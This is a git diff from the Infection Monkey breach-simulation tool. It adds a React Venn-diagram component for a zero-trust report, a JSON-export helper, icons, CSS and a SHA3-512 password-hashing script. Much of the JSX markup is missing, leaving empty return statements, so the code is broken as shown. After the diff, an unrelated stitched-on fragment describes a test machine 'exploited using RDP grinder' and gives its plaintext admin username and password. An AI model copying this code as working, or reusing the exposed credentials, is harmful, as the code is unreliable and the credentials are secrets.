-ms-user-select: none; /* Internet Explorer/Edge */ + user-select: none; /* Non-prefixed version, currently supported by Chrome and Opera */ + +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js new file mode 100644 index 000000000..70304daad --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -0,0 +1,280 @@ +import React from 'react' +import PropTypes from 'prop-types' +import CircularNode from './CircularNode' +import ArcNode from './ArcNode' +import {TypographicUtilities} from './Utility.js' +import './VennDiagram.css' +import {ZeroTrustStatuses} from "../ZeroTrustPillars"; + +class VennDiagram extends React.Component { + constructor(props_) { + super(props_); + + this.state = {hover: true, currentPopover: undefined}; + this._disableHover = this._disableHover.bind(this); + + this.width = this.height = 512; + + this.prefix = 'vennDiagram'; + this.fontStyles = [{size: Math.max(9, this.width / 28), color: 'white'}, { + size: Math.max(6, this.width / 38), + color: 'white' + }, {size: Math.max(6, this.width / 48), color: 'white'}]; + this.offset = this.width / 16; + + this.thirdWidth = this.width / 3; + this.width11By2 = this.width / 5.5; + this.width2By7 = 2 * this.width / 7; + this.width1By11 = this.width / 11; + this.width1By28 = this.width / 28; + this.arcNodesGap = 4; + + this.layout = { + Data: {cx: 0, cy: 0, r: this.width11By2, offset: {x: 0, y: 0}, popover: 'top'}, + People: { + cx: -this.width2By7, + cy: 0, + r: this.width11By2, + offset: {x: this.width1By11 + this.fontStyles[1].size / 5 * 3, y: 0}, + popover: 'right' + }, + Networks: { + cx: this.width2By7, + cy: 0, + r: this.width11By2, + offset: {x: -this.width1By11 - this.fontStyles[1].size / 5 * 3, y: 0}, + popover: 'left' + }, + Devices: { + cx: 0, + cy: this.width2By7, + r: this.width11By2, + offset: {x: 0, y: -this.width1By11 + this.fontStyles[1].size / 6 * 3}, + popover: 'top' + }, + Workloads: { + cx: 0, + cy: -this.width2By7, + r: this.width11By2, + offset: {x: 0, y: this.width1By11}, + popover: 'bottom' + }, + VisibilityAndAnalytics: { + inner: this.thirdWidth - this.width1By28, + outer: this.thirdWidth, + icon: '\uf070', + popover: 'right' + }, + AutomationAndOrchestration: { + inner: this.thirdWidth - this.width1By28 * 2 - this.arcNodesGap, + outer: this.thirdWidth - this.width1By28 - this.arcNodesGap, + icon: '\uf085', + popover: 'right' + } + }; + + /* + + RULE #1: All scores have to be equal 0, except Unexecuted [U] which could be also a negative integer + sum(C, I, P) has to be <=0 + + RULE #2: Failed [C] has to be > 0, + sum(C) > 0 + + RULE #3: Verify [I] has to be > 0 while Failed has to be 0, + sum(C, I) > 0 and C * I = 0, while C has to be 0 + + RULE #4: By process of elimination, passed. + if the P is bigger by 2 then negative U, first conditional + would be true. + */ + + this.rules = [ + + { + id: 'Rule #1', status: ZeroTrustStatuses.unexecuted, hex: '#777777', f: function (d_) { + return d_[ZeroTrustStatuses.failed] + d_[ZeroTrustStatuses.verify] + d_[ZeroTrustStatuses.passed] === 0; + } + }, + { + id: 'Rule #2', status: ZeroTrustStatuses.failed, hex: '#D9534F', f: function (d_) { + return d_[ZeroTrustStatuses.failed] > 0; + } + }, + { + id: 'Rule #3', status: ZeroTrustStatuses.verify, hex: '#F0AD4E', f: function (d_) { + return d_[ZeroTrustStatuses.failed] === 0 && d_[ZeroTrustStatuses.verify] > 0; + } + }, + { + id: 'Rule #4', status: ZeroTrustStatuses.passed, hex: '#5CB85C', f: function (d_) { + return d_[ZeroTrustStatuses.passed] > 0; + } + } + + ]; + + } + + componentDidMount() { + this.parseData(); + if (this.state.currentPopover !== undefined) { + this.state.currentPopover.show(); + } + } + + _disableHover(ref_) { + this.setState({hover: false, currentPopover: ref_, data: this.state.data}); + } + + _onMouseMove(e) { + + let self = this; + + let hidden = 'none'; + let html = ''; + let bcolor = '#DEDEDE'; + + if (this.state.currentPopover !== undefined) { + this.state.currentPopover.show(); + } + + document.querySelectorAll('circle, path').forEach((d_, i_) => { + d_.setAttribute('opacity', "0.8"); + }); + + if (e.target.id.includes('Node')) { + + e.target.setAttribute('opacity', 0.95); + + // Set highest z-index + e.target.parentNode.parentNode.appendChild(e.target.parentNode); + + } else { + + // Return z indices to default + Object.keys(this.layout).forEach(function (d_, i_) { + document.querySelector('#' + self.prefix).appendChild(document.querySelector('#' + self.prefix + 'Node_' + i_).parentNode); + }) + } + + } + + _onClick(e) { + + if (!e.target.id.includes('Node')) { + + this.state.currentPopover.hide(); + this.setState({hover: true, currentPopover: undefined, data: this.state.data}); + } + } + + parseData() { + + let self = this; + let data = []; + const omit = (prop, {[prop]: _, ...rest}) => rest; + + this.props.pillarsGrades.forEach((d_, i_) => { + + let params = omit('pillar', d_); + let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_] || 0), 0); + let key = TypographicUtilities.removeAmpersand(d_.pillar); + let html = self.buildTooltipHtmlContent(params); + let rule = null; + + for (let j = 0; j < self.rules.length; j++) { + if (self.rules[j].f(d_)) { + rule = j; + break; + } + } + + self.setLayoutElement(rule, key, html, d_); + data.push(this.layout[key]); + + }); + + this.setState({hover: true, activePopover: undefined, data: data}); + this.render(); + } + + buildTooltipHtmlContent(object_) { + + return Object.keys(object_).map((key_, i_) => { + return (

    {key_}: {object_[key_]}

    ) + }) + } + + setLayoutElement(rule_, key_, html_, d_) { + + if (rule_ === null) { + console.log(Error('The node scores are invalid, please check the data or the rules set.')); + } + + if (key_ === 'Data') { + this.layout[key_].fontStyle = this.fontStyles[0]; + } else if (this.layout[key_].hasOwnProperty('cx')) { + this.layout[key_].fontStyle = this.fontStyles[1]; + } else { + this.layout[key_].fontStyle = this.fontStyles[2]; + } + + this.layout[key_].hex = this.rules[rule_].hex; + this.layout[key_].status = this.rules[rule_].status; + this.layout[key_].label = d_.pillar; + this.layout[key_].node = d_; + this.layout[key_].tooltip = html_; + } + + render() { + if (this.state.data === undefined) { + return null; + } else { + // equivalent to center translate (width/2, height/2) + let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height; + let nodes = Object.values(this.layout).map((d_, i_) => { + if (d_.hasOwnProperty('cx')) { + return ( + + ); + } else { + d_.label = TypographicUtilities.removeBrokenBar(d_.label); + return ( + + ); + } + }); + + return ( +
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} + onClick={this._onClick.bind(this)}> + + {nodes} + +
    + ) + } + } +} + +VennDiagram.propTypes = { + pillarsGrades: PropTypes.array +}; + +export default VennDiagram; diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js new file mode 100644 index 000000000..6ad124457 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js @@ -0,0 +1,7 @@ +import FileSaver from "file-saver"; + +export default function saveJsonToFile(dataToSave, filename) { + const content = JSON.stringify(dataToSave, null, 2); + const blob = new Blob([content], {type: "text/plain;charset=utf-8"}); + FileSaver.saveAs(blob, filename + ".json"); +} diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg new file mode 100644 index 000000000..507541be4 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg @@ -0,0 +1 @@ +im-alert-machine-icon \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg new file mode 100644 index 000000000..50dcc6726 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg @@ -0,0 +1 @@ +im-alert-network-icon \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 9fc468f77..109f1c147 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -525,6 +525,14 @@ body { margin-bottom: 30px; } +.attack-matrix { + margin-bottom: 20px; +} + +.attack-report .btn-collapse span:nth-of-type(2){ + flex: 0; +} + .icon-info { color: #ade3eb !important; } @@ -541,6 +549,22 @@ body { color: #e0ddde !important; } +.status-success { + color: #24b716 !important; +} + +.status-warning { + color: #b1a91c !important; +} + +.status-danger { + color: #d91016 !important; +} + +.status-default { + color: #575556 !important; +} + .attack-legend { text-align: center; margin-bottom: 20px; diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py new file mode 100644 index 000000000..159e0d098 --- /dev/null +++ b/monkey/monkey_island/scripts/island_password_hasher.py @@ -0,0 +1,23 @@ +""" +Utility script for running a string through SHA3_512 hash. +Used for Monkey Island password hash, see +https://github.com/guardicore/monkey/wiki/Enabling-Monkey-Island-Password-Protection +for more details. +""" + +import argparse +from Crypto.Hash import SHA3_512 + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("string_to_sha", help="The string to do sha for") + args = parser.parse_args() + + h = SHA3_512.new() + h.update(args.string_to_sha) + print(h.hexdigest()) + + +if __name__ == '__main__': + main()
    2}p}aR]&=M
    Scan results:Machine exploited using RDP grinder
    Server’s config:

    Remote desktop enabled

    Admin user’s credentials:

    m0nk3y, 2}p}aR]&=M

    Notes:
    Server’s config:

    Has cashed mimikatz-15 RDP credentials

    +

    Has cached mimikatz-15 RDP credentials

    SMB turned on